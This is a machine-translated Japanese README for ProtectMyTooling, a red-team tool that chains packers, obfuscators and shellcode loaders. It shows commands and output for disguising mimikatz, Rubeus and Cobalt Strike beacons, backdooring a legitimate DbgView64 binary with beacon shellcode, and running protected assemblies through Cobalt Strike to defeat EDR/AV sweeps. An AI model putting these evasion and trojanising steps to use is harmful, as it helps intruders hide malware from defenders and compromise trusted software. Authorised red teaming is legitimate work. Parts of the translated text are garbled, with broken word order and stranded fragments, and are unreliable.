このソフトウェアのリリースの背後にある理論的根拠は、付随するブログ投稿で概説されています。
多数のパッカー、プロテクター、難読化ツール、シェルコードローダー、エンコーダー、ジェネレーターをラップして、複雑な保護されたRedTeamインプラントを生成するスクリプト。マルウェア開発CI/CDパイプラインの完璧なコンパニオンであり、アーティファクトの透かし入れ、IOCの収集、バックドアなどを支援します。
ProtectMyToolingGUI.py
これにより
ProtectMyTooling、すべてのダイアログ、インターフェイス、メニューをクリックしたり、単一のバイナリを難読化するプロジェクトを作成したり、利用可能なすべてのオプションをクリックしたり、意味のないことについて時間を無駄にしたりすることなく、バイナリをすばやく難読化できます。ツールを難読化するために、要点をまっすぐに理解できます。
目的は、可能な限り最も便利なインターフェースを提供し、単一のバイナリーに結合された複数のパッカーのデイジーチェーンを活用できるようにすることです。
ProtectMyToolingそうです-一度に複数のパッカーで起動できます:
C:\> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe
上記の例では、最初
mimikatz.exeに難読化のためにHyperionに渡され、次に結果が圧縮のためにUPXに提供されます。結果として
UPX(Hyperion(file))
callobf,hyperion,upxアーティファクトを生成します
UPX(Hyperion(CallObf(file)))
protected-uploadて
protected-execute-assemblyコマンドを思い付く
ほとんどのパッカーはネイティブにそのプラットフォームをターゲットにしているため、このツールはWindowsで動作するように設計されています。
一部の機能はLinuxで問題なく動作する可能性がありますが、サポートが完全にテストされていない場合でも、バグや問題を報告してください。
contribし、ディレクトリを除外に追加します。そのディレクトリには、AVによってフラグが付けられて削除される難読化ツール、プロテクターが含まれています。
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling
ウィンドウズ
PS C:\ProtectMyTooling> .\install.ps1
Linux
bash# ./install.sh
ScareCrowパッカーをWindows10で実行するには、がインストールされて利用可能である必要があり
WSLます
bash.exe(で
%PATH%)。次に、WSL
golangでは少なくとも
1.16次のバージョンでインストールする必要があります。
cmd> bash bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y
サポートされている難読化ツールをプラグインする、デフォルトオプションを変更する、またはProtectMyToolingを難読化ツールの実行可能パスにポイントするには、
config\ProtectMyTooling.yaml構成ファイルを調整する必要があります。
config\sample-full-config.yamlサポートされているすべてのパッカーで使用可能なすべてのオプションを含むファイルもあり、参照ポイントとして機能します。
を最初に使用する前
ProtectMyToolingに、プログラムのYAML構成ファイルを調整することが不可欠です
ProtectMyTooling.yaml。処理パラメータの順序は次のとおりです。
そこでは、サポートされているパッカーパスとオプションを有効に設定する必要があります。
使用法は非常に簡単です。必要なのは、難読化ツールの名前を渡して、ファイルパスを選択、入力、および出力することだけです。
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe ::::::::::.:::::::.. ... :::::::::::.,:::::: .,-:::::::::::::::: `;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\''' `]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[ $$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$ 888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88, . YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM ;;,. ;;;';;. ;;;;' [[[[, ,[[[[, '[[,[[[' $$$$$$$$"$$$ c$$" 888 Y88" 888o,8P"` ::::::::::::mM... ... ::: :::::. :::. .,-:::::/ ;;;;;;;;\'''.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````' [[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/ $$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$ 88, "888,_ _,88"888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM Red Team implants protection swiss knife. Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders. Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com> v0.15 [.] Processing x86 file: "\Rubeus.exe" [.] Generating output of ConfuserEx(<file>)... [+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%
また、ファイルを難読化し、すぐに(提供されたオプションのパラメーターを使用して)起動して、オプションで正常に実行されるようにすることもできます
-r --cmdline CMDLINE。
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe -r --cmdline "hash /password:foobar" [...] [.] Processing x86 file: "\Rubeus.exe" [.] Generating output of ConfuserEx(<file>)... [+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 758272, ratio: 181.72% Running application to test it... ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Calculate Password Hash(es) [*] Input password : foobar [*] rc4_hmac : BAAC3929FABC9E6DCD32421BA94A84D4 [!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!
以下のユースケースは
beacon.exe入力を受け取り、それを連続して
CallObf->
UPX->
Hyperionパッカーにフィードします。
次に、指定され
fooobarた透かしを最終的に生成された出力アーティファクトのDOSスタブに挿入し、そのアーティファクトのチェックサムを値で変更します
0xAABBCCDD。
最後に、ProtectMyToolingはすべてのIOC(md5、sha1、sha256、imphash、およびその他のメタデータ)をキャプチャし、それらを補助CSVファイルに保存します。そのファイルは、エンゲージメントが展開するときにIOCマッチングに使用できます。
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd [...] [.] Processing x64 file: "beacon.exe" [>] Generating output of CallObf(<file>)... [.] Before obfuscation file's PE IMPHASH: 17b461a082950fc6332228572138b80c [.] After obfuscation file's PE IMPHASH: 378d9692fe91eb54206e98c224a25f43 [>] Generating output of UPX(CallObf(<file>))... [>] Generating output of Hyperion(UPX(CallObf(<file>)))... [+] Setting PE checksum to 2864434397 (0xaabbccdd) [+] Successfully watermarked resulting artifact file. [+] IOCs written to: beacon-obf-ioc.csv [+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%
生成されたIOC証拠CSVファイルは次のようになります。
timestamp,filename,author,context,comment,md5,sha1,sha256,imphash
2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c
2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(<file>),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43
2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf(<file>)),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf(<file>))),test,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d
サポートされているパッカーProtectMyTooling
難読化ツール/パッカーだけでなく、コマンドラインから使用できるあらゆる種類のビルダー/ジェネレーター/シェルコードローダーをサポートするように設計されています。
現在、プログラムはさまざまな商用およびオープンソースのパッカー/難読化ツールをサポートしています。それらのオープンソースのものはプロジェクト内にバンドルされています。
商用のものでは、ユーザーが製品を購入し、
ProtectMyTooling.yaml
ファイル内でその場所を構成して、スクリプトがそれらを見つける場所を指定する必要があります。
-
Amber
-入力時にEXE/DLLを受け取り、EXE/PICシェルコードを生成するリフレクティブPEパッカー
-
AsStrongAsFuck
-Charterinoによる.NETアセンブリ用のコンソール難読化ツール
-
CallObfuscator
-特定のWindowsAPIをさまざまなAPIで難読化します。
-
ConfuserEx
-MartinKaringからフォークされた人気の.NET難読化ツール
-
Donut
-入力時にEXE/DLL / .NETを受け取り、PICシェルコードを生成する人気のあるPEローダー
-
Enigma
-実行可能ファイルの包括的な保護のために設計された強力なシステム
-
Hyperion
--32ビットおよび64ビットのポータブル実行可能ファイル用のランタイムエンクリプター。これはリファレンス実装であり、「Hyperion:PE-Crypterの実装」という論文に基づいています。
-
IntelliLock
-強力なライセンスセキュリティ、適応性の高いライセンス機能/スキーマ、および信頼性の高いアセンブリ保護を組み合わせています
-
InvObf
--PowershellスクリプトをInvoke-Obfuscation
(Daniell Bohannonによる)難読化する
-
LoGiC.NET
-AnErrupTionによるdnlibを使用した、より高度な無料のオープンな.NET難読化ツール
-
Mangle
-入力EXE/DLLファイルを取得し、複製された証明書、削除されたGolang固有のIoC、および肥大化したサイズを含む出力ファイルを生成します。Matt Eidelberg(@ Tyl0us)による。
-
MPRESS
--VitalyEvseenkoによるMPRESSコンプレッサー。入力EXE/DLL / .NET / MAC-DARWIN(x86 / x64)を取得し、圧縮します。
-
NetReactor
-誰もがあなたのコードを逆コンパイルするのを完全に防ぐ比類のない.NETコード保護システム
-
NetShrink
-実行可能コンプレッサー、アプリケーションパスワードプロテクター、WindowsおよびLinux.NETアプリケーション用の仮想DLLバインダーとして知られるexeパッカー。
-
Nimcrypt2
-入力.NET、PE、またはRawシェルコードを実行するNimローダーを生成します。作成者(@icyguider)
-
NimPackt-v1
-入力時にShellcodeまたは.NETExecutableを取得し、EXEまたはDLLローダーを生成します。Cas van Cooten (@chvancooten)がお届けします
-
NimSyscallPacker
-PE / Shellcode / .NET実行可能ファイルを取得し、堅牢なNim + Syscalls EXE/DLLローダーを生成します。(@ S3cur3Th1sSh1t)によって作成されたスポンサーウェア
-
Packer64
-ジョン・アダムズのラッパーPacker64
-
pe2shc
-PEをシェルコードに変換します。本当に@hasherezade
-
peCloak
-マルチパスエンコーダーとヒューリスティックサンドボックスバイパスAV回避ツール
-
peresed
-avast / pe_toolsの「peresed」を使用して、既存のすべてのPEリソースと署名を削除します(Mimikatzアイコンを考えてください)。
-
ScareCrow
-DLL / CPL / XLL / JScript/HTAアーティファクトローダーを生成するEDR回避x64シェルコードローダー
-
sgn
--四方がない(四がない)エンコーダーが移植され、いくつかの改良が加えられました。シェルコードを受け取り、エンコードされたシェルコードを生成します
-
SmartAssembly
-サードパーティがソースコードにアクセスするのを困難にすることにより、リバースエンジニアリングや変更からアプリケーションを保護するのに役立つ難読化ツール
-
sRDI
-DLLを位置独立シェルコードに変換します。作成者:Nick Landers、@ monoxgas
-
Themida
-高度なWindowsソフトウェア保護システム
-
UPX
-いくつかの実行可能形式用の無料、ポータブル、拡張可能、高性能の実行可能パッカー。
-
VMProtect
-ソフトウェアの分析とクラックを非常に困難にする非標準アーキテクチャの仮想マシンでコードを実行することにより、コードを保護します
オプションを使用して、サポートされているパッカーをすばやく一覧表示でき
-L
ます(テーブルの列は端末の幅に応じて選択され、幅が広いほど、より多くの情報が表示されます)。
C:\> py ProtectMyTooling.py -L
[...]
Red Team implants protection swiss knife.
Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
v0.15
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| # | Name | Type | Licensing | Input | Output | Author |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1 | amber | open-source | Shellcode Loader | PE | EXE, Shellcode | Ege Balci |
| 2 | asstrongasfuck | open-source | .NET Obfuscator | .NET | .NET | Charterino, klezVirus |
| 3 | backdoor | open-source | Shellcode Loader | Shellcode | PE | Mariusz Banach, @mariuszbit |
| 4 | callobf | open-source | PE EXE/DLL Protector | PE | PE | Mustafa Mahmoud, @d35ha |
| 5 | confuserex | open-source | .NET Obfuscator | .NET | .NET | mkaring |
| 6 | donut-packer | open-source | Shellcode Converter | PE, .NET, VBScript, JScript | Shellcode | TheWover |
| 7 | enigma | commercial | PE EXE/DLL Protector | PE | PE | The Enigma Protector Developers Team |
| 8 | hyperion | open-source | PE EXE/DLL Protector | PE | PE | nullsecurity team |
| 9 | intellilock | commercial | .NET Obfuscator | PE | PE | Eziriz |
| 10 | invobf | open-source | Powershell Obfuscator | Powershell | Powershell | Daniel Bohannon |
| 11 | logicnet | open-source | .NET Obfuscator | .NET | .NET | AnErrupTion, klezVirus |
| 12 | mangle | open-source | Executable Signing | PE | PE | Matt Eidelberg (@Tyl0us) |
| 13 | mpress | freeware | PE EXE/DLL Compressor | PE | PE | Vitaly Evseenko |
| 14 | netreactor | commercial | .NET Obfuscator | .NET | .NET | Eziriz |
| 15 | netshrink | open-source | .NET Obfuscator | .NET | .NET | Bartosz Wójcik |
| 16 | nimcrypt2 | open-source | Shellcode Loader | PE, .NET, Shellcode | PE | @icyguider |
| 17 | nimpackt | open-source | Shellcode Loader | .NET, Shellcode | PE | Cas van Cooten (@chvancooten) |
| 18 | nimsyscall | sponsorware | Shellcode Loader | PE, .NET, Shellcode | PE | @S3cur3Th1sSh1t |
| 19 | packer64 | open-source | PE EXE/DLL Compressor | PE | PE | John Adams, @jadams |
| 20 | pe2shc | open-source | Shellcode Converter | PE | Shellcode | @hasherezade |
| 21 | pecloak | open-source | PE EXE/DLL Protector | PE | PE | Mike Czumak, @SecuritySift, buherator / v-p-b |
| 22 | peresed | open-source | PE EXE/DLL Protector | PE | PE | Martin Vejnár, Avast |
| 23 | scarecrow | open-source | Shellcode Loader | Shellcode | DLL, JScript, CPL, XLL | Matt Eidelberg (@Tyl0us) |
| 24 | sgn | open-source | Shellcode Encoder | Shellcode | Shellcode | Ege Balci |
| 25 | smartassembly | commercial | .NET Obfuscator | .NET | .NET | Red-Gate |
| 26 | srdi | open-source | Shellcode Encoder | DLL | Shellcode | Nick Landers, @monoxgas |
| 27 | themida | commercial | PE EXE/DLL Protector | PE | PE | Oreans |
| 28 | upx | open-source | PE EXE/DLL Compressor | PE | PE | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 29 | vmprotect | commercial | PE EXE/DLL Protector | PE | PE | vmpsoft |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
上記はサポートされているパッカーですが、構成済みですぐに使用できるという意味ではありません。
それらの使用法を準備するには、最初に必要なバイナリを
contrib
ディレクトリに提供してから、それに応じてYAMLファイルを構成する必要があります。
RedWatermarker-組み込みのアーティファクト透かし
アーティファクトの透かしとIOCコレクションこのプログラムは、プロのレッドチームを対象としており、一般的なインプラント開発CI/CDパイプラインでの使用に最適です。
レッドチーマーとして、私は常にすべてのインプラントに一致するIOCの適切な品質リストを提供することが期待されています。また、簿記、帰属、およびトレーサビリティの目的で、すべてのインプラントに透かしを入れることが不可欠であると考えています。
これらの要件に対応するために、ProtectMyToolingはそれらの基本的なサポートを提供します。
アーティファクト透かしProtectMyTooling
--watermark
オプションを使用するだけで、難読化ラウンドの後に透かしを適用できます。
py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG
RedWatermarker.py
スクリプトに含まれているスタンドアロンのアプローチもあります。
入力時に実行可能なアーティファクトを受け取り、透かしを挿入する場所と挿入する値を示すいくつかのパラメーターを受け入れます。
実行例では、PEチェックサムを0xAABBCCDDに設定し、
foooobar
PEファイルのDOSスタブに挿入し(このプログラムを含むバイトは実行できません...)、bazbazbaz
ファイルのオーバーレイに追加し、ファイルの最後に追加という名前の新しいPEセクションを作成して.coco
それを埋めますプリセットマーカー付きのセクション。
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG
完全なウォーターマークの使用法:
cmd> py RedWatermarker.py --help
;
ED.
,E#Wi
j. f#iE###G.
EW, .E#t E#fD#W;
E##j i#W, E#t t##L
E###D. L#D. E#t .E#K,
E#jG#W; :K#Wfff; E#t j##f
E#t t##f i##WLLLLtE#t :E#K:
E#t :K#E: .E#L E#t t##L
E#KDDDD###i f#E: E#t .D#W; ,; G: ,;
E#f,t#Wi,,, ,WW; E#tiW#G. f#i j. j. E#, : f#i j.
E#t ;#W: ; .D#;E#K##i .. GEEEEEEEL .E#t EW, .. : .. EW, E#t .GE .E#t EW,
DWi ,K.DL ttE##D. ;W, ,;;L#K;;. i#W, E##j ,W, .Et ;W, E##j E#t j#K; i#W, E##j
f. :K#L LWL E#t j##, t#E L#D. E###D. t##, ,W#t j##, E###D. E#GK#f L#D. E###D.
EW: ;W##L .E#f L: G###, t#E :K#Wfff; E#jG#W; L###, j###t G###, E#jG#W; E##D. :K#Wfff; E#jG#W;
E#t t#KE#L ,W#; :E####, t#E i##WLLLLt E#t t##f .E#j##, G#fE#t :E####, E#t t##f E##Wi i##WLLLLt E#t t##f
E#t f#D.L#L t#K: ;W#DG##, t#E .E#L E#t :K#E: ;WW; ##,:K#i E#t ;W#DG##, E#t :K#E:E#jL#D: .E#L E#t :K#E:
E#jG#f L#LL#G j###DW##, t#E f#E: E#KDDDD###i j#E. ##f#W, E#t j###DW##, E#KDDDD###E#t ,K#j f#E: E#KDDDD###i
E###; L###j G##i,,G##, t#E ,WW; E#f,t#Wi,,,.D#L ###K: E#t G##i,,G##, E#f,t#Wi,,E#t jD ,WW; E#f,t#Wi,,,
E#K: L#W; :K#K: L##, t#E .D#; E#t ;#W: :K#t ##D. E#t :K#K: L##, E#t ;#W: j#t .D#; E#t ;#W:
EG LE. ;##D. L##, fE tt DWi ,KK:... #G .. ;##D. L##, DWi ,KK: ,; tt DWi ,KK:
; ;@ ,,, .,, : j ,,, .,,
Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<mb@binary-offensive.com>
usage: RedWatermarker.py [options] <infile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input implant file
Optional arguments:
-C, --check Do not actually inject watermark. Check input file if it contains specified watermarks.
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-o PATH, --outfile PATH
Path where to save output file with watermark injected. If not given, will modify infile.
PE Executables Watermarking:
-t STR, --dos-stub STR
Insert watermark into PE DOS Stub (This program cannot be run...).
-c NUM, --checksum NUM
Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value.
-e STR, --overlay STR
Append watermark to the file's Overlay (at the end of the file).
-s NAME,STR, --section NAME,STR
Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.
現在、PEファイルの透かしのみがサポートされていますが、将来的にはOfficeドキュメントやその他の形式も追加される予定です。
IOCコレクション-i
IOCは、実行時にオプションを使用するだけで収集できProtectMyTooling
ます。
それらは次のフェーズで収集されています。
これらには、CSVファイルの形式で保存された次のフィールドが含まれます。
timestamp
filename
author-として形成された
username@hostname
context-レコードが入力ファイル、出力ファイル、または中間ファイルを指しているかどうか
comment
-I value-オプションを介してユーザーが調整した値
md5
sha1
sha256
imphash-可能な場合、PEはハッシュをインポートします
typeref_hash-.NET TypeRefハッシュ(利用可能な場合)
outfile-ioc.csv結果は、生成された出力アーティファクトと並べて保存された名前のCSVファイルになります。そのファイルはAPPENDモードで書き込まれます。つまり、後続のすべてのIOCを受信します。
ProtectMyTooling
RedBackdoorer.pyPE実行可能ファイルをバックドアするためのいくつかのメソッドを提供する独自のスクリプトを利用します。 サポートは、という名前の専用パッカーとして提供され
backdoorます。使用例:
入力でCobaltStrikeシェルコードを取得し、SGN(Shikata Ga-Nai)でエンコードしてから、バックドアSysInternals DbgView64.exeを実行して、AmberEXEリフレクティブローダーを生成します。
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe ::::::::::.:::::::.. ... :::::::::::.,:::::: .,-:::::::::::::::: `;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;; `]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[ $$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$ 888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88, . YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM ;;,. ;;;';;. ;;;;' [[[[, ,[[[[, '[[,[[[' $$$$$$$$"$$$ c$$" 888 Y88" 888o,8P"` ::::::::::::mM... ... ::: :::::. :::. .,-:::::/ ;;;;;;;;.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````' [[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/ $$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$ 88, "888,_ _,88"888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM Red Team implants protection swiss knife. Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders. Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com> v0.15 [.] Processing x64 file : beacon64.bin [>] Generating output of sgn(<file>)... [>] Generating output of backdoor(sgn(<file>))... [>] Generating output of Amber(backdoor(sgn(<file>)))... [+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%
RedBackdoorerの完全な使用法:
cmd> py RedBackdoorer.py --help ██▀███ ▓█████▓█████▄ ▓██ ▒ ██▓█ ▀▒██▀ ██▌ ▓██ ░▄█ ▒███ ░██ █▌ ▒██▀▀█▄ ▒▓█ ▄░▓█▄ ▌ ░██▓ ▒██░▒████░▒████▓ ░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓ ▒ ░▒ ░ ▒░░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ▄▄▄▄ ▄▄▄░ ░ ▄████▄ ██ ▄█▓█████▄ ▒█████ ▒█████ ██▀███ ▓█████ ██▀███ ▓█████▄▒████▄ ░▒██▀ ▀█ ██▄█▒▒██▀ ██▒██▒ ██▒██▒ ██▓██ ▒ ██▓█ ▀▓██ ▒ ██▒ ▒██▒ ▄█▒██ ▀█▄ ▒▓█ ▄▓███▄░░██ █▒██░ ██▒██░ ██▓██ ░▄█ ▒███ ▓██ ░▄█ ▒ ▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄ ▒██ ██▒██ ██▒██▀▀█▄ ▒▓█ ▄▒██▀▀█▄ ░▓█ ▀█▓▓█ ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒ ░▒▓███▀▒▒▒ ▓▒█░ ░▒ ▒ ▒ ▒▒ ▓▒▒▒▓ ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░░ ▒ ▒ ░ ▒ ▒░ ░ ▒ ▒░ ░▒ ░ ▒░░ ░ ░ ░▒ ░ ▒░ ░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ▒ ░░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ Your finest PE backdooring companion. Mariusz Banach / mgeeky '22, (@mariuszbit) <mb@binary-offensive.com> usage: RedBackdoorer.py [options] <mode> <shellcode> <infile> options: -h, --help show this help message and exit Required arguments: mode PE Injection mode, see help epilog for more details. shellcode Input shellcode file infile PE file to backdoor Optional arguments: -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile. -v, --verbose Verbose mode. Backdooring options: -n NAME, --section-name NAME If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw -i IOC, --ioc IOC Append IOC watermark to injected shellcode to facilitate implant tracking. Authenticode signature options: -r, --remove-signature Remove PE Authenticode digital signature since its going to be invalidated anyway. ------------------ PE Backdooring <mode> consists of two comma-separated options. First one denotes where to store shellcode, second how to run it: <mode> save,run | | | +---------- 1 - change AddressOfEntryPoint | 2 - hijack branching instruction at Original Entry Point (jmp, call, ...) | 3 - setup TLS callback | +-------------- 1 - store shellcode in the middle of a code section 2 - append shellcode to the PE file in a new PE section Example: py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe
ProtectMyTooling.py入力実行可能ファイルを保護および圧縮された出力フォームに簡単に変換し、CobaltStrike内からアップロードまたは使用するために、構成済みのPE/.NETパッカー/プロテクターのラッパーとして使用されるものを統合するスクリプトもあります。
アイデアは、execute-assemblyによって使用されるアップロードされたすべてのバイナリまたは.NETアセンブリを保護する自動化されたプロセスを持ち、各使用の前にそれらを手動で保護または難読化することを忘れることです。実行可能ファイルを変換する自動化されたアプローチの追加の利点は、使用されるたびに同じ実行可能ファイルを保護できることです。その結果、ターゲットマシンで一意のサンプルが起動されます。これは、異なるマシンで同じアーティファクトを探しているときに、EDR/AVの企業全体のIOCスイープをうまく欺くはずです。
さらに、protected-execute-assemblyコマンドには、そのアセンブリを検索する機能があります。 事前設定されたアセンブリディレクトリ(dotnet_assemblies_directory設定で設定)に名前のみが指定されました。
それを使用するには:
CobaltStrike/ProtectMyTooling.cnaコバルトストライクをロードします。
protected-execute-assembly-ターゲット上で、以前に保護され圧縮されたローカルの.NETプログラムをメモリ内で実行します。
protected-upload-入力ファイルを取得し、PE実行可能ファイルの場合は保護してから、そのファイルを指定されたリモートの場所にアップロードします。
基本的に、これらのコマンドは入力ファイルを開き、最初に
CobaltStrike/cobaltProtectMyTooling.pyスクリプトに渡します。スクリプトは次にを呼び出します
ProtectMyTooling.py。バイナリが難読化されるとすぐに、実行/アップロードのためにビーコンに渡されます。
Here's a list of options required by the Cobalt Strike integrator:
python3_interpreter_path- Specify a path to Python3 interpreter executable
protect_my_tooling_dir- Specify a path to ProtectMyTooling main directory
protect_my_tooling_config- Specify a path to ProtectMyTooling configuration file with various packers options
dotnet_assemblies_directory- Specify local path .NET assemblies should be looked for if not found by execute-assembly
cache_protected_executables- Enable to cache already protected executables and reuse them when needed
protected_executables_cache_dir- Specify a path to a directory that should store cached protected executables
default_exe_x86_packers_chain- Native x86 EXE executables protectors/packers chain
default_exe_x64_packers_chain- Native x64 EXE executables protectors/packers chain
default_dll_x86_packers_chain- Native x86 DLL executables protectors/packers chain
default_dll_x64_packers_chain- Native x64 DLL executables protectors/packers chain
default_dotnet_packers_chain- .NET executables protectors/packers chain
ScareCrowis very tricky to run from Windows. What worked for me is following:
bash.execommand available in Windows)
golanginstalled in WSL at version
1.16+(tested on
1.18)
PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = Trueset
All packer, obfuscator, converter, loader credits goes to their authors. This tool is merely a wrapper around their technology!
ProtectMyTooling also uses denim.exe
by moloch-- by some Nim-based packers.
GadgetToJScript
Limelighter
PEZor
msfevenom-2つのバリアント、1つは入力シェルコード用、もう1つは実行可能ファイル用
このツールや、私が作成した他のプロジェクトを違法な目的、一方的なハッキング、サイバースパイ目的で使用することは固く禁じられています。
私が配布するこのツールやその他のツールは、プロの侵入テスター、セキュリティコンサルタント、セキュリティエンジニア、その他のセキュリティ担当者が顧客ネットワークのサイバー防御機能を向上させるのに役立ちます。
いかなる場合も、作者または著作権所有者は、このソフトウェアの違法な使用から生じるいかなる請求、損害、またはその他の責任についても責任を負わないものとします。
懸念、著作権の問題、このソフトウェアによってもたらされる脅威、またはその他の問い合わせがある場合、私は責任を持ってそれらに対処するために協力することを歓迎します。
このツールは、ほとんどがオープンソースまたは市販のパッカー/プロテクター/難読化ソフトウェアを使用するための便利なインターフェイスを公開しているため、サイバーセキュリティの状況にすぐに新しい脅威をそのまま導入することはありません。
このプロジェクトや他のプロジェクトは、眠れない夜とたくさんのハードワークの結果です。私の仕事が好きで、私がいつもコミュニティに還元していることに感謝しているなら、
ありがとうと言うだけで私にコーヒー(またはより良いビール)を買うことを検討してください!
Mariusz Banach / mgeeky, '20-'22 <mb [at] binary-offensive.com> (https://github.com/mgeeky)